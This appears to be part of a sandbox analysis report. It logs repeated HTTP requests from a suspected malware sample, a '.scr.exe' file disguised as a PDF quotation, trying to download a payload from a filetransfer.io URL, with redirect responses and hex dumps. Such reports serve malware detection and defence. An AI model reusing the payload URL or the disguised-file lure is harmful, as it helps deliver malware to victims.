Oct 4, 2024 11:25:27.267904043 CEST	829	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:25:27 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=M4gKfJxp5CiYO9tLUj0o%2Bp2nGPfR5qPw0ptSZiqPZajTE8GVDkauTz%2BRWOgiRIdTXVJCidbrdzULj0wP6pgoVvc9VpgSRflxHvGy2JlXgmngAhONk8TUGTrL2CgXHeXWvBU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41febef8843a9-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	50227	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:25:30.584280968 CEST	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
Oct 4, 2024 11:25:31.160934925 CEST	828	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:25:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PuI3c87s9klFQIHuQJz%2Bjo3SS7N8Zb2nN5npNx41EjfEKytC0f6RHksCVLOOToluXtWqEC7g139jEX3xjyJENjq6qLwF0t9wEH%2FM7%2BvCgbgFVONmH01y7wfo%2BLmjGTQ4DuY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd42004ce31c329-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
Oct 4, 2024 11:25:31.295670986 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 4, 2024 11:25:31.296673059 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:25:31.497380018 CEST	826	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:25:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7%2BqFl08dBbZEFVclTpZlOLvVjCyXEMc81Sy%2FzWVuoXEC4O0GGD0TXOCbMe3AkBaY4T0CeBu3fsm2IX13pkuYxUtlhDnkCeuQSMG%2Bz8RSbf1q9UocsqRnR7fPzYe7jyJE5Yg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd42006ef54c329-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
Oct 4, 2024 11:25:31.631639957 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	50230	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:25:35.046704054 CEST	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
Oct 4, 2024 11:25:35.829343081 CEST	831	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:25:35 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Vkoob%2Fp5LjR19VE7jT3mAm4nYU3DGTJrZD5KCrrZRInw7%2FcEDqUHWbPc5X619I3uvOb7KVYZMtzf9R6T0asnqDDR6BoIU0gcYIZQShnnyQUj31yhePrux4f0pkn%2Ffo3sc3k%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd420208fd78c83-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:25:35.830280066 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:25:36.026043892 CEST	831	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:25:35 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fkxwnRGlEkRd0cEwncBFt14RBsDOf8azJe3D%2B8NHWqtOnO9aJLwbpvM1P8u5%2FGVTC5g4%2BlSQ9iH5KJvJpFXyukLqZhDqNgrr6izU2rTDueiIdVU8Zeu0gcQenTNKrbhvHO0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd42023399b8c83-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	50233	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:25:39.605418921 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:25:40.159045935 CEST	827	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:25:40 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oEikft9RwfNVsgFsk0NBx8XW9P1stXGs5MUB87URmoWbZjmO83X%2FTHZ6IeHGy2TVh0JiTY0QnmRzd8xHCJKvZBGcntgZsHi4PRUsmS3P2mXyFzGn0hSkvySX1bqXt4zsbDY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd4203d0c76c402-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	50235	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:25:40.167510033 CEST	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
Oct 4, 2024 11:25:40.806133032 CEST	835	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:25:40 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zjFKVeusTjlC1UnHlR4NYi%2BQgt2Ok%2Fbao5FiuPw31anz93UkKomPJhvkN9KX%2FPSeEmwf2Mhi5cpi0Hh%2FMpmIxqDOaMffd82jg0hRICZpoENoyU%2B1BMKE66GTlOslvE6iCvo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd42040894e8cec-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	50238	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:25:44.666471004 CEST	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
Oct 4, 2024 11:25:45.305269957 CEST	856	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:25:45 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gMfCi72tgtUqpzEmUAjrRZixj7IgWLacUpcYLl8pxJC9Sccj1nuHV2W%2BfaXJko9w9DJfgJ79JZF3tj%2FPWxuuOrXjQiVgsg0D8qkuHZSzIQOUnI2GPUB1j%2BKOBDSqF6LbvKw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd4205cae5a42b3-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
Oct 4, 2024 11:25:45.434040070 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 4, 2024 11:25:45.435029984 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:25:45.628256083 CEST	865	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:25:45 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2N%2B7KweNUcmW151B%2BJZqC5oyzA7i%2F9DYXNR1eoZ%2FkvZ8sYZRDnwXEVNFMFH3S0Yv%2BZuAb5KyqgGK8MATxKMZMo8Ild1tcRgUopEgUmqRpart2lcQO0DUU7Rwc09I14zEwRY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd4205f48fd42b3-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	50241	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:25:48.691333055 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:25:49.333189011 CEST	869	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:25:49 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IP4FHxQP48p30XXhNnIcfz4N9rl8G5zi%2FOajCNzfwB%2FNmV%2FB3SDShFQt4oFaMnbBO%2BrhX6JRa2e0NtlQCR8C4AooYz7fiVqP674lGuxmRzL2KAFj%2B27gim1xBklOy%2F1%2BBO4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd42075caae0cc0-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	50242	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:25:49.339906931 CEST	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
Oct 4, 2024 11:25:49.983159065 CEST	831	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:25:49 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FcOwt%2F9Tox4PRjr4oxsF%2F%2FdXpzoVckIdeKQkhTthAowKAJ6BphRL7cVC6QRIC4NqWX3JhRBXOHkfDMmfKgNF73mJJ3O4QPpFLzJ0kP2R8Bon972BzgiD4lM3PbtQ8WJq6EU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd42079dd6778e2-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	50245	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:25:54.607693911 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:25:55.249787092 CEST	833	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:25:55 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gx2XHQuLU34UePSD2mjiiE91kZ7csi6ucaCKiA%2FZq6i6pHH8%2F8MuwmWx9tqmWQRYwBiszVgLIYrfgfkHhG9IPHlr8tFdwaqiQudC42AC%2FcySDnV%2FdamF4x8ND82rU0VncPs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd4209aca6642c4-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	50246	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:25:55.260484934 CEST	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
Oct 4, 2024 11:25:55.913146019 CEST	833	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:25:55 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TCPUf%2FPtpkMGpNIZItMDtjriou6dYXdO2VSc5yTi4nxeucGnnshL4514pAa9wz%2FFS7E%2FURjmbaLhS8FBKCTALXbkb54QqmyRZrOh%2FT0eql0HaRD63LOs7Uzrx0dYNVB4ctI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd4209ee907439c-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	50249	188.114.97.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:25:59.394468069 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:26:00.055854082 CEST	654	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:26:00 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SpczegUKoDmsICUcuX9zQXjP408weCMn2aAB3XPmjawqJvsrKhKnOe961fxzHi0m8iFRVMp8piAyXnZU6IQAqVx%2FTHL7LTOZD5Q0jebR4VBiq6RcSBvHx6sMwbTOuDq9CAQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd420b8c9551977-EWR
